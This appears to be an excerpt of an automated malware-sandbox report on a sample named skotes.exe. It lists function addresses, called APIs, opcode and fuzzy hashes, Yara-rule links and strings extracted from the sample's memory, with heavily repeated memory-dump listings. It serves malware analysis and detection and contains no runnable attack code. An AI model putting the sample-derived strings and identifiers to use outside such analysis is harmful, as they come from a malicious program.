Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ef21b3b90ef1af69f2f512f727566ebe00f50081a0c5b55fc3d89b1217e53df9
Instruction ID: 57bd0053684a68cc93064467ea2672cfd68863822a5f75200170fa14c9f14338
Opcode Fuzzy Hash: ef21b3b90ef1af69f2f512f727566ebe00f50081a0c5b55fc3d89b1217e53df9
Instruction Fuzzy Hash: 44219A316043009BEB189F68EC857BDB7A6EFCA314F285229E414FB3D0CB76A580C652

Function 00EDD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00EDA813,00000001,00000364,00000006,000000FF,?,00EDEE3F,?,00000004,00000000,?,?), ref: 00EDD870

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1ffa9b325cd3f7f78dfbf9317ac9cd37f0335111726939b64a0dfe071f3d47d6
Instruction ID: 0b1c82c641f549310cc2e45e1fc8bcb2dd21a48d454ffa38c7b1b17aa4d82626
Opcode Fuzzy Hash: 1ffa9b325cd3f7f78dfbf9317ac9cd37f0335111726939b64a0dfe071f3d47d6
Instruction Fuzzy Hash: 5BF0E93A60D12476EB2B2A72AC01A5B3799DF41770B14A023EC04F7391DA20EC03A6E1

Non-executed Functions

Function 00EDCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EDCC66

Strings

v, xrefs: 00EDCBE1

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 163fdb54c6cba91d0546af17efc3c13ad04d3eca3979e4ae30cac8b01d202eab
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: EDB122729042869FDB158F68C8817BEBBE6EF45384F24916BE955FB342D6348D03CB60

Function 00EA2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EA2F5F
__Mtx_unlock.LIBCPMT ref: 00EA2FCC
__Cnd_broadcast.LIBCPMT ref: 00EA2FE3
__Mtx_unlock.LIBCPMT ref: 00EA30F5
__Mtx_unlock.LIBCPMT ref: 00EA319B

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: e01cb01ad53452e23bb0bf032051fdf9bd0ac723b4240d9b955777e220304ac1
Instruction ID: 36c64e9f61626635e577c28db3316d81de933305ab451aba2af971967b39d51e
Opcode Fuzzy Hash: e01cb01ad53452e23bb0bf032051fdf9bd0ac723b4240d9b955777e220304ac1
Instruction Fuzzy Hash: 23A1C170A056059FDB20DBB4C945B9BB7E8FF1A318F145129F815FB251EB31EA04CB91

Function 00EBBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EBBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBBE4
_xtime_get.LIBCPMT ref: 00EBBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBC13

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 39b43aaa8cf9bf8b4ecc2cc20e5b59c68171cf5a94d402c6b4083d83850be29f
Instruction ID: 613ba143b7c4b73e91abe7cadfaac4627b55feeef3d606ec61a6fdc5800c4b3f
Opcode Fuzzy Hash: 39b43aaa8cf9bf8b4ecc2cc20e5b59c68171cf5a94d402c6b4083d83850be29f
Instruction Fuzzy Hash: B8211B71A04219AFDF00EFA4D8869FFBBB9EF48714F205065F901B7261DB709D019BA0

Analysis Process: skotes.exePID: 3664, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.3%
Total number of Nodes:	1139
Total number of Limit Nodes:	121

Executed Functions

Function 00EAE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9c9aa5, xrefs: 00EAFB8E
111, xrefs: 00EAF7A0
GnNoc2Hc, xrefs: 00EAE56C
#, xrefs: 00EB0624
MQ==, xrefs: 00EAE592
WTs=, xrefs: 00EB05CA
WDw=, xrefs: 00EAF71D, 00EAF9FA
MGE+, xrefs: 00EAE821
WTw=, xrefs: 00EB097D
246122658369, xrefs: 00EAF737, 00EAFA14, 00EB05E7, 00EB099A
UA==, xrefs: 00EAEB0F, 00EAED56

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
